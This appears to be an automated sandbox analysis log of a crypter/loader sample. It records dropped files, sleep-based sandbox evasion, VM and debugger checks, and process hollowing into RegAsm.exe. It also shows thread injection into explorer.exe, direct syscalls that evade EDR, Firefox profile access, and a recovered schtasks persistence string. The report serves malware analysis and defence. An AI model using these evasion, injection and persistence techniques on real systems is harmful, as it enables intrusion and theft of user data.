Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Window / User API: threadDelayed 466

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\userAEBAKJDGHI.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Nikko Video Compressor\uninstall\unins000.exe (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Dropped PE file which has not been started: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Nikko Video Compressor\is-5R4JI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Nikko Video Compressor\is-QPPD9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Nikko Video Compressor\uninstall\is-RB7TG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-9PSDC.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Nikko Video Compressor\msvcr71.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Nikko Video Compressor\nikkovideocompressor32.exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\lgsfdam[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Nikko Video Compressor\is-I7KQ2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Nikko Video Compressor\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-9PSDC.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Nikko Video Compressor\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Dropped PE file which has not been started: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exegmoZLMPgmA7iERod (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Nikko Video Compressor\is-213O2.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Nikko Video Compressor\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MvOwPcqDrYVlvFIqJren.dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Dropped PE file which has not been started: C:\ProgramData\jewkkwnf\jewkkwnf.exe6Wob1mDxY9zsd70j (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\EGCBAFCFIJ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Nikko Video Compressor\msvcp71.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Nikko Video Compressor\libssl-1_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-9PSDC.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\66ecb454d2b4a_lgfdsjgds[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Nikko Video Compressor\is-BEGLA.tmp	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\PowerExpertNNT\PowerExpertNNT.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Nikko Video Compressor\is-TS51E.tmp	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\DreamifyCorp\ClientSecureUpdater.exe	Jump to dropped file

Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe

API coverage: 1.9 %

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe TID: 616	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe TID: 6060	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5840	Thread sleep count: 466 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5840	Thread sleep time: -93200s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4712	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3856	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe TID: 6436	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe TID: 7332	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe TID: 5728	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe TID: 6512	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe TID: 1284	Thread sleep count: 64 > 30	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe TID: 6700	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe TID: 3608	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe TID: 1696	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe TID: 4476	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6112	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7320	Thread sleep time: -30000s >= -30000s
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe TID: 7412	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Last function: Thread delayed
Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_00540905

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cache2\doomed\	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cache2\entries\	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cache2\	Jump to behavior

Source: kFXFCWzZNovbPAcE4V3M4DAO.exe	Binary or memory string: VMware
Source: kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000000.1791830844.0000000000887000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: memcpy after 1memcpy after 2memcpy after 3memcpy after 4memcpy after 5before zip stream oopenFailed to open zip streamzip entry open Failed to open zip entryFailed to read zip entryFailed to allocate memory%s/%sError opening fileError writing to fileopen /create /tn "ServiceData4" /tr "%s" /st 00:01 /du 9800:59 /sc once /ri 1 /fschtasks.exeCapCutVisual Studio Setup\ProfilesRoaming\Profiles\imloifkgjagghnncjkhggdhalmcnfklkContent-Type: multipart/form-data; boundary=----Boundary%luDriverPack Notifier.configPotPlayerMini64GRETECHwebview2BeamNG.driveSoftware Reporter ToolVMwareFree_PDF_SolutionsPanasonicProtectUserBenchmarkStreamingVideoProviderdiscordJackbox Gamescwd_globalDocker Desktop.dockerDocker1
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000146E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000142A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000002.2192250317.0000000005FD0000.00000004.08000000.00040000.00000000.sdmp, XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000002.2044194881.00000000047AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CYCFPXIEBATTBKHGFSELOVMGNCWKTKMDAPMJOG
Source: kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2951750800.0000000001361000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWB

Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe

System information queried: CodeIntegrityInformation

Jump to behavior

Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00553C90 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_00553C90

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00433130 mov eax, dword ptr fs:[00000030h]	3_2_00433130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00433130 mov eax, dword ptr fs:[00000030h]	3_2_00433130
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_025F092B mov eax, dword ptr fs:[00000030h]	9_2_025F092B
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_025F0D90 mov eax, dword ptr fs:[00000030h]	9_2_025F0D90
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_0284FDD7 push dword ptr fs:[00000030h]	9_2_0284FDD7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0050CCE0 lstrlenA,GetProcessHeap,HeapAlloc,lstrcpynA,

3_2_0050CCE0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Process token adjusted: Debug
Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process token adjusted: Debug

Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe

Process created: unknown unknown

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0053FA25 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0053FA25
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00553C90 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00553C90
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00502F3D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00502F3D

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: Yt_9y5LuIpBZXKd9EiYluKkG.exe PID: 1280, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 3210000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe

Code function: 6_2_024C21A5 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

6_2_024C21A5

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Thread created: C:\Windows\explorer.exe EIP: 2A619A8			Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Thread created: unknown EIP: 70D9E4			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	NtUnmapViewOfSection: Direct from: 0x140F9991A
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	NtProtectVirtualMemory: Direct from: 0x140FDE281
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	NtMapViewOfSection: Direct from: 0x140FB14BD
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	NtClose: Direct from: 0x1418EC263
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	NtProtectVirtualMemory: Direct from: 0x140FE97E9
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	NtOpenFile: Direct from: 0x1418ECD9A
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	NtProtectVirtualMemory: Direct from: 0x140FB7051
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	NtProtectVirtualMemory: Direct from: 0x1412C887B
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	NtProtectVirtualMemory: Direct from: 0x14101A9A5
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	NtProtectVirtualMemory: Direct from: 0x141027997
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	NtProtectVirtualMemory: Direct from: 0x14101399D
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	NtProtectVirtualMemory: Direct from: 0x1418ECF55
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	NtProtectVirtualMemory: Direct from: 0x140FE47B8
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	NtProtectVirtualMemory: Indirect: 0x140F85475

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Memory written: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe base: 6F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Memory written: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 3210000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write			Jump to behavior
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 56C000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58B000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 593000	Jump to behavior
